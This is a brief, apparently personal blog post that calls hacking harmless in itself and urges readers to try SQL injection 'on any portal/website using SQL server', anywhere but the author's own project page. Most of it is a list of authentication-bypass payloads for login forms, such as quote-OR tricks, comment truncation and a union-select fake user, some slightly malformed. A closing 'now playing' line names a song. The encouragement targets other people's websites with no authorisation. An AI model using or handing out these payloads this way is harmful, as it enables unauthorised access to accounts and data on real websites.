now i know. hacking is not a criminal. it becomes criminal/illegal when person use it to destroy/disturb others.
want to learn hacking? try this SQL injection on any portal/website using SQL server. (er... dont try it at my project page, please. do it somewhere else!)
bypassing authentification
without any credentials - username : 'OR"=' password : 'OR"='
with just the username - username : admin'--
as the first user in the users table - username : 'or1=1--
as a fictional user - username : 'union select 1,'user','passwd'1--
[musique on air]
Foo Fighters - One By One